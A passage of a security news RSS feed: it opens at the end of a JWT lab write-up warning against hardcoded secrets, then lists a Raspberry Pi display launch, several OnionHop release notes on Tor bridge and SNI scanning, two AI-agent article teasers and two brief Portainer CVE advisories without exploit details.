src="https://cdn-images-1.medium.com/max/1024/1*YHQgmBNWdmUDecjOmX92Rg.png"></figure><h3>Lessons We Should Learn About This</h3><p>As you saw, correctly implementing a JWT is only the first step of coding securely. Having a strong password policy, even when it’s not really enforceable, is very important. Don’t use ‘secret’ as your JWT_SECRET</p><p>One thing I already mentioned, but what I want to stress again is NEVER EVER store your JWT secret as a hardcoded variable, like we did with JWT_SECRET = 'secret'. Your code will probably live on GitHub where all kinds of stupid things can happen. A secret belongs in a .env file that is in your .gitignore and lives only on your dev machine and on the server, NOT in your code.</p><blockquote>I break web apps for fun, make vulnerable labs to learn, and write about it so you can too.</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=6d94a963b07d" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/two-ways-to-mess-up-your-jwt-safety-net-in-your-own-lab-6d94a963b07d">Two Ways To Mess Up Your JWT Safety Net In Your Own Lab.</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Raspberry Pi launch 10-inch Touch Display 2 for $80]]></title>
<description><![CDATA[Raspberry Pi has launched a 10-inch version of its Touch Display 2 with a 1200×1920 resolution and 10-point captive touchscreen for $80/£77. 5-inch and 7-inch variants of the Touch Display 2 have been available for a while, but Raspberry Pi’s Gordon Hollingworth says the new version gives makers ...]]></description>
<link>https://tsecurity.de/de/3687336/linux-tipps/raspberry-pi-launch-10-inch-touch-display-2-for-80/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687336/linux-tipps/raspberry-pi-launch-10-inch-touch-display-2-for-80/</guid>
<pubDate>Wed, 22 Jul 2026 20:40:45 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="406" height="232" src="https://i0.wp.com/www.omgubuntu.co.uk/wp-content/uploads/2026/07/raspberry-pi-touch-display-2-10-inch.webp?resize=406%2C232&amp;ssl=1" class="attachment-post-list size-post-list wp-post-image" alt="" decoding="async" fetchpriority="high" srcset="https://i0.wp.com/www.omgubuntu.co.uk/wp-content/uploads/2026/07/raspberry-pi-touch-display-2-10-inch.webp?resize=350%2C200&amp;ssl=1 350w, https://i0.wp.com/www.omgubuntu.co.uk/wp-content/uploads/2026/07/raspberry-pi-touch-display-2-10-inch.webp?resize=406%2C232&amp;ssl=1 406w, https://i0.wp.com/www.omgubuntu.co.uk/wp-content/uploads/2026/07/raspberry-pi-touch-display-2-10-inch.webp?resize=840%2C480&amp;ssl=1 840w, https://i0.wp.com/www.omgubuntu.co.uk/wp-content/uploads/2026/07/raspberry-pi-touch-display-2-10-inch.webp?zoom=3&amp;resize=406%2C232&amp;ssl=1 1218w" sizes="(max-width: 406px) 100vw, 406px">Raspberry Pi has launched a 10-inch version of its Touch Display 2 with a 1200×1920 resolution and 10-point captive touchscreen for $80/£77. 5-inch and 7-inch variants of the Touch Display 2 have been available for a while, but Raspberry Pi’s Gordon Hollingworth says the new version gives makers a larger, higher resolution screen to use in their projects. Like the smaller versions, the 10.1″ Touch Display 2 uses a portrait orientation by default, where the displays are often used for home automation dashboards, kiosks, digital signage, control panels, etc. It can be used in landscape by changing the orientation in […]</p>
<p>You're reading <a href="https://www.omgubuntu.co.uk/2026/07/raspberry-pi-10-inch-touch-display">Raspberry Pi launch 10-inch Touch Display 2 for $80</a>, a blog post from <a href="https://www.omgubuntu.co.uk/">OMG! Ubuntu</a>. Do not reproduce elsewhere without permission.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[OnionHop 3.6]]></title>
<description><![CDATA[The scanner release. The Scanner page gains two long-requested tools, plus a round of bridge-tab refinements and fixes driven by community feedback.
Added

SNI scanner (Scanner → SNI Scanner). Finds SNI/front hosts that work on your network via real TLS handshakes. Domain mode tests a list of can...]]></description>
<link>https://tsecurity.de/de/3687279/it-security-tools/onionhop-36/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687279/it-security-tools/onionhop-36/</guid>
<pubDate>Wed, 22 Jul 2026 20:29:20 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The scanner release. The Scanner page gains two long-requested tools, plus a round of bridge-tab refinements and fixes driven by community feedback.</p>
<h3>Added</h3>
<ul>
<li><strong>SNI scanner</strong> (Scanner → SNI Scanner). Finds SNI/front hosts that work on your network via real TLS handshakes. <strong>Domain mode</strong> tests a list of candidate domains as SNI on :443; <strong>Range mode</strong> tests one SNI across an IPv4 CIDR range (bounded). Working hosts can be applied as your custom SNI hosts (used by fronted webtunnel/meek/snowflake bridges) or saved to the library. Green = handshake completed (usable), red = blocked/reset.</li>
<li><strong>Saved-bridges library</strong> (Scanner → Saved). Bridges from the bridge scanner and hosts from the SNI scanner can be saved to a persistent library, then labelled, re-applied or removed later - scan results are no longer lost when the scan finishes. Both scanners gained a <strong>Save to Library</strong> action.</li>
<li><strong>Current Bridge tab: per-row copy + sortable columns</strong> (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4792201997" data-permission-text="Title is private" data-url="https://github.com/center2055/OnionHop/issues/69" data-hovercard-type="issue" data-hovercard-url="/center2055/OnionHop/issues/69/hovercard" href="https://github.com/center2055/OnionHop/issues/69">#69</a>). Each bridge row has a one-tap copy button, and the Type / Address / Status headers sort on click (click again to reverse); the bridge currently in use stays pinned to the top.</li>
<li><strong>Bridge copy/export refinement</strong> (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4623180884" data-permission-text="Title is private" data-url="https://github.com/center2055/OnionHop/issues/56" data-hovercard-type="issue" data-hovercard-url="/center2055/OnionHop/issues/56/hovercard" href="https://github.com/center2055/OnionHop/issues/56">#56</a>). Copy on the Current Bridge tab now returns only the bridge Tor is actually using (not the whole supplemented list), and Export writes a CSV with Type, Address, Status, Fingerprint and the raw line.</li>
<li><strong>CLI <code>scan &lt;type&gt; --use</code>.</strong> After probing, the reachable bridges are saved as your custom list and selected as the source, so the next <code>connect</code> uses exactly those - the command-line equivalent of the GUI scanner's Apply button.</li>
</ul>
<h3>Fixed</h3>
<ul>
<li><strong>Custom bridge source ignored under Smart Connect</strong> (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4793735074" data-permission-text="Title is private" data-url="https://github.com/center2055/OnionHop/issues/70" data-hovercard-type="issue" data-hovercard-url="/center2055/OnionHop/issues/70/hovercard" href="https://github.com/center2055/OnionHop/issues/70">#70</a>). Smart Connect (on by default) reset the source to Auto and dropped your custom bridge list while racing its own transports, so a pasted obfs4 bridge could end up connecting via a webtunnel bridge you never added. Smart Connect now honors an explicit Custom source and uses exactly those bridges.</li>
</ul>
<p>Thanks to <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Airuop/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Airuop">@Airuop</a> for the scanner and bridge-tab suggestions.</p>
<h3>Downloads</h3>
<table>
<thead>
<tr>
<th align="left">Platform</th>
<th align="left">File</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">Windows installer</td>
<td align="left"><code>OnionHop-Setup-v3.exe</code></td>
</tr>
<tr>
<td align="left">Windows portable</td>
<td align="left"><code>OnionHopV3-Portable-3.6-win-x64.zip</code></td>
</tr>
<tr>
<td align="left">Windows CLI</td>
<td align="left"><code>OnionHop-CLI-Setup-3.6.exe</code> / <code>OnionHopCLI-Portable-3.6-win-x64.zip</code></td>
</tr>
<tr>
<td align="left">Linux</td>
<td align="left"><code>OnionHop-x86_64.AppImage</code></td>
</tr>
<tr>
<td align="left">Linux CLI</td>
<td align="left"><code>OnionHopCLI-3.6-linux-x64.tar.gz</code></td>
</tr>
<tr>
<td align="left">macOS (Apple Silicon)</td>
<td align="left"><code>OnionHop-3.6-macOS-arm64.dmg</code></td>
</tr>
<tr>
<td align="left">macOS (Intel)</td>
<td align="left"><code>OnionHop-3.6-macOS-x64.dmg</code></td>
</tr>
<tr>
<td align="left">macOS CLI (Apple Silicon)</td>
<td align="left"><code>OnionHopCLI-3.6-macos-arm64.tar.gz</code></td>
</tr>
<tr>
<td align="left">macOS CLI (Intel)</td>
<td align="left"><code>OnionHopCLI-3.6-macos-x64.tar.gz</code></td>
</tr>
</tbody>
</table>
<blockquote>
<p>Not sure which Mac you have? Apple menu &gt; About This Mac. "Apple M1/M2/M3/M4" means Apple Silicon (arm64); anything listing an Intel processor needs the x64 build.</p>
</blockquote>]]></content:encoded>
</item>
<item>
<title><![CDATA[OnionHop 3.7]]></title>
<description><![CDATA[Fixes Snowflake on heavily-censored networks, and makes the SNI scanner easier to use with per-country lists.
Fixed

Snowflake starting again on censored networks (#71). Snowflake was failing to start with "Managed proxy ... terminated with status code 2" and the connection bar stuck, whenever th...]]></description>
<link>https://tsecurity.de/de/3687275/it-security-tools/onionhop-37/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687275/it-security-tools/onionhop-37/</guid>
<pubDate>Wed, 22 Jul 2026 20:29:14 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Fixes Snowflake on heavily-censored networks, and makes the SNI scanner easier to use with per-country lists.</p>
<h3>Fixed</h3>
<ul>
<li><strong>Snowflake starting again on censored networks (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4840691314" data-permission-text="Title is private" data-url="https://github.com/center2055/OnionHop/issues/71" data-hovercard-type="issue" data-hovercard-url="/center2055/OnionHop/issues/71/hovercard" href="https://github.com/center2055/OnionHop/issues/71">#71</a>).</strong> Snowflake was failing to start with "Managed proxy ... terminated with status code 2" and the connection bar stuck, whenever the AMP-cache rendezvous was enabled. The AMP cache was being passed as a <code>-ampcache</code> command-line flag, which the bundled Snowflake binary (lyrebird) rejects, so it exited immediately. It is now set as an <code>ampcache=</code> parameter on the Snowflake bridge line, which lyrebird reads. This mainly affected networks where Smart Connect forces Snowflake AMP (for example Iran).</li>
</ul>
<h3>Added</h3>
<ul>
<li><strong>SNI scanner compact layout.</strong> The SNI scanner now matches the bridge scanner: a "Custom list" toggle keeps the candidate-domain box collapsed until you turn it on or load, import, or request a list, so the controls take less room.</li>
<li><strong>Request SNI (per-country lists).</strong> Working SNI hosts are country-specific, so the SNI scanner gained a "Request SNI" button that fetches a candidate list for your country from the OnionHop SNI-lists source and loads it for scanning. A country picker appears when the source is reachable.</li>
<li><strong>Export Working.</strong> The SNI scanner can now save the working SNI hosts to a text file.</li>
<li><strong>About page release links.</strong> Each release in the changelog history now has a "View on GitHub" link that opens that release's page, and the sources section lists the new OnionHop SNI Lists source.</li>
</ul>
<h3>Downloads</h3>
<table>
<thead>
<tr>
<th align="left">Platform</th>
<th align="left">File</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">Windows installer</td>
<td align="left"><code>OnionHop-Setup-v3.exe</code></td>
</tr>
<tr>
<td align="left">Windows portable</td>
<td align="left"><code>OnionHopV3-Portable-3.7-win-x64.zip</code></td>
</tr>
<tr>
<td align="left">Windows CLI</td>
<td align="left"><code>OnionHop-CLI-Setup-3.7.exe</code> / <code>OnionHopCLI-Portable-3.7-win-x64.zip</code></td>
</tr>
<tr>
<td align="left">Linux</td>
<td align="left"><code>OnionHop-x86_64.AppImage</code></td>
</tr>
<tr>
<td align="left">Linux CLI</td>
<td align="left"><code>OnionHopCLI-3.7-linux-x64.tar.gz</code></td>
</tr>
<tr>
<td align="left">macOS (Apple Silicon)</td>
<td align="left"><code>OnionHop-3.7-macOS-arm64.dmg</code></td>
</tr>
<tr>
<td align="left">macOS (Intel)</td>
<td align="left"><code>OnionHop-3.7-macOS-x64.dmg</code></td>
</tr>
<tr>
<td align="left">macOS CLI (Apple Silicon)</td>
<td align="left"><code>OnionHopCLI-3.7-macos-arm64.tar.gz</code></td>
</tr>
<tr>
<td align="left">macOS CLI (Intel)</td>
<td align="left"><code>OnionHopCLI-3.7-macos-x64.tar.gz</code></td>
</tr>
</tbody>
</table>]]></content:encoded>
</item>
<item>
<title><![CDATA[OnionHop 3.7.2]]></title>
<description><![CDATA[Makes bridge-transport failures diagnosable and stops the scanner trusting dead webtunnel bridges.
Fixed

Bridge scanner verifies webtunnel for real. The scanner now confirms a webtunnel bridge with an actual handshake (a WebSocket upgrade to the bridge's own endpoint, which must return 101) inst...]]></description>
<link>https://tsecurity.de/de/3687273/it-security-tools/onionhop-372/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687273/it-security-tools/onionhop-372/</guid>
<pubDate>Wed, 22 Jul 2026 20:29:10 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Makes bridge-transport failures diagnosable and stops the scanner trusting dead webtunnel bridges.</p>
<h3>Fixed</h3>
<ul>
<li><strong>Bridge scanner verifies webtunnel for real.</strong> The scanner now confirms a webtunnel bridge with an actual handshake (a WebSocket upgrade to the bridge's own endpoint, which must return 101) instead of only checking that its CDN front answered on 443. A dead webtunnel bridge whose front is still up is now correctly shown as unreachable, so a scanned webtunnel list no longer marks bridges as working when Tor cannot connect through them (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4860810567" data-permission-text="Title is private" data-url="https://github.com/center2055/OnionHop/issues/74" data-hovercard-type="issue" data-hovercard-url="/center2055/OnionHop/issues/74/hovercard" href="https://github.com/center2055/OnionHop/issues/74">#74</a>).</li>
<li><strong>Transport start failures now say why.</strong> When a pluggable transport could not run, Tor only reported an opaque "Managed proxy ... terminated with status code 2", which hid the real cause (this is what made obfs4 and snowflake "connect then immediately fail" for some users). The app now preflights each transport binary and logs the actual reason, a crash, a wrong-architecture binary, a missing execute bit, and so on, so the problem is diagnosable instead of opaque (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4860810567" data-permission-text="Title is private" data-url="https://github.com/center2055/OnionHop/issues/74" data-hovercard-type="issue" data-hovercard-url="/center2055/OnionHop/issues/74/hovercard" href="https://github.com/center2055/OnionHop/issues/74">#74</a>).</li>
</ul>
<h3>Downloads</h3>
<table>
<thead>
<tr>
<th align="left">Platform</th>
<th align="left">File</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">Windows installer</td>
<td align="left"><code>OnionHop-Setup-v3.exe</code></td>
</tr>
<tr>
<td align="left">Windows portable</td>
<td align="left"><code>OnionHopV3-Portable-3.7.2-win-x64.zip</code></td>
</tr>
<tr>
<td align="left">Windows CLI</td>
<td align="left"><code>OnionHop-CLI-Setup-3.7.2.exe</code> / <code>OnionHopCLI-Portable-3.7.2-win-x64.zip</code></td>
</tr>
<tr>
<td align="left">Linux</td>
<td align="left"><code>OnionHop-x86_64.AppImage</code></td>
</tr>
<tr>
<td align="left">Linux CLI</td>
<td align="left"><code>OnionHopCLI-3.7.2-linux-x64.tar.gz</code></td>
</tr>
<tr>
<td align="left">macOS (Apple Silicon)</td>
<td align="left"><code>OnionHop-3.7.2-macOS-arm64.dmg</code></td>
</tr>
<tr>
<td align="left">macOS (Intel)</td>
<td align="left"><code>OnionHop-3.7.2-macOS-x64.dmg</code></td>
</tr>
<tr>
<td align="left">macOS CLI (Apple Silicon)</td>
<td align="left"><code>OnionHopCLI-3.7.2-macos-arm64.tar.gz</code></td>
</tr>
<tr>
<td align="left">macOS CLI (Intel)</td>
<td align="left"><code>OnionHopCLI-3.7.2-macos-x64.tar.gz</code></td>
</tr>
</tbody>
</table>]]></content:encoded>
</item>
<item>
<title><![CDATA[OnionHop 3.7.3]]></title>
<description><![CDATA[A small diagnostics release: when bridges are reachable but the transport still can't connect, the log now points at the likely cause.
Fixed

Clearer log when the transport can't reach reachable bridges. If a bridged connect fails after the reachability scan found bridges reachable but the transp...]]></description>
<link>https://tsecurity.de/de/3687272/it-security-tools/onionhop-373/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687272/it-security-tools/onionhop-373/</guid>
<pubDate>Wed, 22 Jul 2026 20:29:09 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A small diagnostics release: when bridges are reachable but the transport still can't connect, the log now points at the likely cause.</p>
<h3>Fixed</h3>
<ul>
<li><strong>Clearer log when the transport can't reach reachable bridges.</strong> If a bridged connect fails after the reachability scan found bridges reachable but the transport could not connect to any of them, the log now names the likely cause: a firewall or security tool blocking OnionHop's transport helper (lyrebird / webtunnel-client), or bridges that are dead at the protocol layer. Previously this appeared only as an unexplained wall of "general SOCKS server failure" (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4860810567" data-permission-text="Title is private" data-url="https://github.com/center2055/OnionHop/issues/74" data-hovercard-type="issue" data-hovercard-url="/center2055/OnionHop/issues/74/hovercard" href="https://github.com/center2055/OnionHop/issues/74">#74</a>).</li>
</ul>
<h3>Downloads</h3>
<table>
<thead>
<tr>
<th align="left">Platform</th>
<th align="left">File</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">Windows installer</td>
<td align="left"><code>OnionHop-Setup-v3.exe</code></td>
</tr>
<tr>
<td align="left">Windows portable</td>
<td align="left"><code>OnionHopV3-Portable-3.7.3-win-x64.zip</code></td>
</tr>
<tr>
<td align="left">Windows CLI</td>
<td align="left"><code>OnionHop-CLI-Setup-3.7.3.exe</code> / <code>OnionHopCLI-Portable-3.7.3-win-x64.zip</code></td>
</tr>
<tr>
<td align="left">Linux</td>
<td align="left"><code>OnionHop-x86_64.AppImage</code></td>
</tr>
<tr>
<td align="left">Linux CLI</td>
<td align="left"><code>OnionHopCLI-3.7.3-linux-x64.tar.gz</code></td>
</tr>
<tr>
<td align="left">macOS (Apple Silicon)</td>
<td align="left"><code>OnionHop-3.7.3-macOS-arm64.dmg</code></td>
</tr>
<tr>
<td align="left">macOS (Intel)</td>
<td align="left"><code>OnionHop-3.7.3-macOS-x64.dmg</code></td>
</tr>
<tr>
<td align="left">macOS CLI (Apple Silicon)</td>
<td align="left"><code>OnionHopCLI-3.7.3-macos-arm64.tar.gz</code></td>
</tr>
<tr>
<td align="left">macOS CLI (Intel)</td>
<td align="left"><code>OnionHopCLI-3.7.3-macos-x64.tar.gz</code></td>
</tr>
</tbody>
</table>]]></content:encoded>
</item>
<item>
<title><![CDATA[OnionHop 3.7.4]]></title>
<description><![CDATA[Fixes bridges being silently blocked by per-app firewalls like Little Snitch on macOS.
Fixed

Transport helpers now run from a stable path, so firewalls can allow them (#74). On macOS and Linux, the bridge transport helpers (lyrebird / webtunnel-client) ran from the system temp directory. Per-app...]]></description>
<link>https://tsecurity.de/de/3687271/it-security-tools/onionhop-374/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687271/it-security-tools/onionhop-374/</guid>
<pubDate>Wed, 22 Jul 2026 20:29:08 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Fixes bridges being silently blocked by per-app firewalls like Little Snitch on macOS.</p>
<h3>Fixed</h3>
<ul>
<li><strong>Transport helpers now run from a stable path, so firewalls can allow them (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4860810567" data-permission-text="Title is private" data-url="https://github.com/center2055/OnionHop/issues/74" data-hovercard-type="issue" data-hovercard-url="/center2055/OnionHop/issues/74/hovercard" href="https://github.com/center2055/OnionHop/issues/74">#74</a>).</strong> On macOS and Linux, the bridge transport helpers (lyrebird / webtunnel-client) ran from the system temp directory. Per-app firewalls like Little Snitch identify a process by its executable path, so a helper in a periodically-purged temp folder never got a durable allow rule and could be silently denied without ever prompting - every bridge then failed with "general SOCKS server failure" even with an "allow all" rule for OnionHop itself. The helpers now run from a stable per-user location (<code>~/Library/Caches/onionhop-pt</code> on macOS, <code>~/.cache/onionhop-pt</code> on Linux), so the firewall can prompt once and remember the answer, the same way it does for Tor Browser's bundled lyrebird. The stale-transport cleanup at connect time now also covers helpers running from that directory.</li>
</ul>
<h3>Downloads</h3>
<table>
<thead>
<tr>
<th align="left">Platform</th>
<th align="left">File</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">Windows installer</td>
<td align="left"><code>OnionHop-Setup-v3.exe</code></td>
</tr>
<tr>
<td align="left">Windows portable</td>
<td align="left"><code>OnionHopV3-Portable-3.7.4-win-x64.zip</code></td>
</tr>
<tr>
<td align="left">Windows CLI</td>
<td align="left"><code>OnionHop-CLI-Setup-3.7.4.exe</code> / <code>OnionHopCLI-Portable-3.7.4-win-x64.zip</code></td>
</tr>
<tr>
<td align="left">Linux</td>
<td align="left"><code>OnionHop-x86_64.AppImage</code></td>
</tr>
<tr>
<td align="left">Linux CLI</td>
<td align="left"><code>OnionHopCLI-3.7.4-linux-x64.tar.gz</code></td>
</tr>
<tr>
<td align="left">macOS (Apple Silicon)</td>
<td align="left"><code>OnionHop-3.7.4-macOS-arm64.dmg</code></td>
</tr>
<tr>
<td align="left">macOS (Intel)</td>
<td align="left"><code>OnionHop-3.7.4-macOS-x64.dmg</code></td>
</tr>
<tr>
<td align="left">macOS CLI (Apple Silicon)</td>
<td align="left"><code>OnionHopCLI-3.7.4-macos-arm64.tar.gz</code></td>
</tr>
<tr>
<td align="left">macOS CLI (Intel)</td>
<td align="left"><code>OnionHopCLI-3.7.4-macos-x64.tar.gz</code></td>
</tr>
</tbody>
</table>]]></content:encoded>
</item>
<item>
<title><![CDATA[OnionHop 3.7.5]]></title>
<description><![CDATA[Quieter, faster obfs4 connects, and fixes browsing in TUN/VPN mode when a stale proxy was left behind.
Fixed

obfs4 bridges are now verified with a real handshake before connecting. The pre-connect scan used to only TCP-test obfs4, so bridges that were dead or blocked at the obfs4 layer still got...]]></description>
<link>https://tsecurity.de/de/3687270/it-security-tools/onionhop-375/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687270/it-security-tools/onionhop-375/</guid>
<pubDate>Wed, 22 Jul 2026 20:29:06 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Quieter, faster obfs4 connects, and fixes browsing in TUN/VPN mode when a stale proxy was left behind.</p>
<h3>Fixed</h3>
<ul>
<li><strong>obfs4 bridges are now verified with a real handshake before connecting.</strong> The pre-connect scan used to only TCP-test obfs4, so bridges that were dead or blocked at the obfs4 layer still got handed to Tor, producing a wall of "general SOCKS server failure" warnings and a long pause before it connected. The app now drives the bundled obfs4 client to complete the actual handshake and drops the ones that fail, so connecting is faster and the log is far quieter (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4860810567" data-permission-text="Title is private" data-url="https://github.com/center2055/OnionHop/issues/74" data-hovercard-type="issue" data-hovercard-url="/center2055/OnionHop/issues/74/hovercard" href="https://github.com/center2055/OnionHop/issues/74">#74</a>). If the check cannot run or nearly everything fails (for example the whole set is blocked from your network), it safely falls back to the previous behavior.</li>
<li><strong>Fixed "connected but no websites load" in TUN/VPN mode on Windows</strong> (browser showed ERR_PROXY_CONNECTION_FAILED). If an earlier session had crashed or been force-closed while the system proxy was applied, Windows kept that proxy enabled, pointing browsers at a port from that dead session; TUN mode never corrected it. The app now clears a leftover proxy that matches its own format at connect time, and in TUN mode it logs a clear note if some other system proxy is enabled. Third-party proxy settings are never touched.</li>
</ul>
<h3>Downloads</h3>
<table>
<thead>
<tr>
<th align="left">Platform</th>
<th align="left">File</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">Windows installer</td>
<td align="left"><code>OnionHop-Setup-v3.exe</code></td>
</tr>
<tr>
<td align="left">Windows portable</td>
<td align="left"><code>OnionHopV3-Portable-3.7.5-win-x64.zip</code></td>
</tr>
<tr>
<td align="left">Windows CLI</td>
<td align="left"><code>OnionHop-CLI-Setup-3.7.5.exe</code> / <code>OnionHopCLI-Portable-3.7.5-win-x64.zip</code></td>
</tr>
<tr>
<td align="left">Linux</td>
<td align="left"><code>OnionHop-x86_64.AppImage</code></td>
</tr>
<tr>
<td align="left">Linux CLI</td>
<td align="left"><code>OnionHopCLI-3.7.5-linux-x64.tar.gz</code></td>
</tr>
<tr>
<td align="left">macOS (Apple Silicon)</td>
<td align="left"><code>OnionHop-3.7.5-macOS-arm64.dmg</code></td>
</tr>
<tr>
<td align="left">macOS (Intel)</td>
<td align="left"><code>OnionHop-3.7.5-macOS-x64.dmg</code></td>
</tr>
<tr>
<td align="left">macOS CLI (Apple Silicon)</td>
<td align="left"><code>OnionHopCLI-3.7.5-macos-arm64.tar.gz</code></td>
</tr>
<tr>
<td align="left">macOS CLI (Intel)</td>
<td align="left"><code>OnionHopCLI-3.7.5-macos-x64.tar.gz</code></td>
</tr>
</tbody>
</table>]]></content:encoded>
</item>
<item>
<title><![CDATA[Stop Overengineering Your Agent Harness]]></title>
<description><![CDATA[The following originally appeared on Hugo Bowne-Anderson’s Vanishing Gradients Substack and is being republished here with the author’s permission. The conversation around harness engineering is dominated by problems from coding and personal agents such as OpenClaw, but most agents are simpler. B...]]></description>
<link>https://tsecurity.de/de/3686996/ai-nachrichten/stop-overengineering-your-agent-harness/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686996/ai-nachrichten/stop-overengineering-your-agent-harness/</guid>
<pubDate>Wed, 22 Jul 2026 18:22:56 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The following originally appeared on Hugo Bowne-Anderson’s Vanishing Gradients Substack and is being republished here with the author’s permission. The conversation around harness engineering is dominated by problems from coding and personal agents such as OpenClaw, but most agents are simpler. Builders should avoid over-engineering for capabilities that newer models may absorb anyway, the “Kirby […]]]></content:encoded>
</item>
<item>
<title><![CDATA[Build an LLM Agent That Can Write and Run Code]]></title>
<description><![CDATA[A hands-on walkthrough of code execution with the OpenAI Agents SDK and Docker
The post Build an LLM Agent That Can Write and Run Code appeared first on Towards Data Science.]]></description>
<link>https://tsecurity.de/de/3686571/ai-nachrichten/build-an-llm-agent-that-can-write-and-run-code/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686571/ai-nachrichten/build-an-llm-agent-that-can-write-and-run-code/</guid>
<pubDate>Wed, 22 Jul 2026 15:48:18 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A hands-on walkthrough of code execution with the OpenAI Agents SDK and Docker</p>
<p>The post <a href="https://towardsdatascience.com/build-an-llm-agent-that-can-write-and-run-code/">Build an LLM Agent That Can Write and Run Code</a> appeared first on <a href="https://towardsdatascience.com/">Towards Data Science</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-44850 | portainer Community Edition up to 2.33.7/2.39.1/2.40.x Portainer-mediated Docker API authorization (GHSA-7fw3-x4r2-g7wc)]]></title>
<description><![CDATA[A vulnerability was found in portainer Community Edition up to 2.33.7/2.39.1/2.40.x. It has been classified as critical. Affected is an unknown function of the component Portainer-mediated Docker API. Performing a manipulation results in incorrect authorization.

This vulnerability was named CVE-...]]></description>
<link>https://tsecurity.de/de/3686056/sicherheitsluecken/cve-2026-44850-portainer-community-edition-up-to-23372391240x-portainer-mediated-docker-api-authorization-ghsa-7fw3-x4r2-g7wc/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686056/sicherheitsluecken/cve-2026-44850-portainer-community-edition-up-to-23372391240x-portainer-mediated-docker-api-authorization-ghsa-7fw3-x4r2-g7wc/</guid>
<pubDate>Wed, 22 Jul 2026 13:03:58 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability was found in <a href="https://vuldb.com/product/portainer:community_edition">portainer Community Edition up to 2.33.7/2.39.1/2.40.x</a>. It has been classified as <a href="https://vuldb.com/kb/risk">critical</a>. Affected is an unknown function of the component <em>Portainer-mediated Docker API</em>. Performing a manipulation results in incorrect authorization.

This vulnerability was named <a href="https://vuldb.com/cve/CVE-2026-44850">CVE-2026-44850</a>. The attack may be initiated remotely. There is no available exploit.

Upgrading the affected component is recommended.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-44849 | portainer Community Edition up to 2.33.7/2.39.1/2.40.x Docker Swarm Service API authorization (GHSA-5fxq-qcf3-244w)]]></title>
<description><![CDATA[A vulnerability classified as critical has been found in portainer Community Edition up to 2.33.7/2.39.1/2.40.x. The impacted element is an unknown function of the component Docker Swarm Service API. The manipulation leads to missing authorization.

This vulnerability is documented as CVE-2026-44...]]></description>
<link>https://tsecurity.de/de/3686053/sicherheitsluecken/cve-2026-44849-portainer-community-edition-up-to-23372391240x-docker-swarm-service-api-authorization-ghsa-5fxq-qcf3-244w/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686053/sicherheitsluecken/cve-2026-44849-portainer-community-edition-up-to-23372391240x-docker-swarm-service-api-authorization-ghsa-5fxq-qcf3-244w/</guid>
<pubDate>Wed, 22 Jul 2026 13:03:52 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability classified as <a href="https://vuldb.com/kb/risk">critical</a> has been found in <a href="https://vuldb.com/product/portainer:community_edition">portainer Community Edition up to 2.33.7/2.39.1/2.40.x</a>. The impacted element is an unknown function of the component <em>Docker Swarm Service API</em>. The manipulation leads to missing authorization.

This vulnerability is documented as <a href="https://vuldb.com/cve/CVE-2026-44849">CVE-2026-44849</a>. The attack can be initiated remotely. There is not any exploit available.

It is recommended to upgrade the affected component.]]></content:encoded>
</item>
<item>
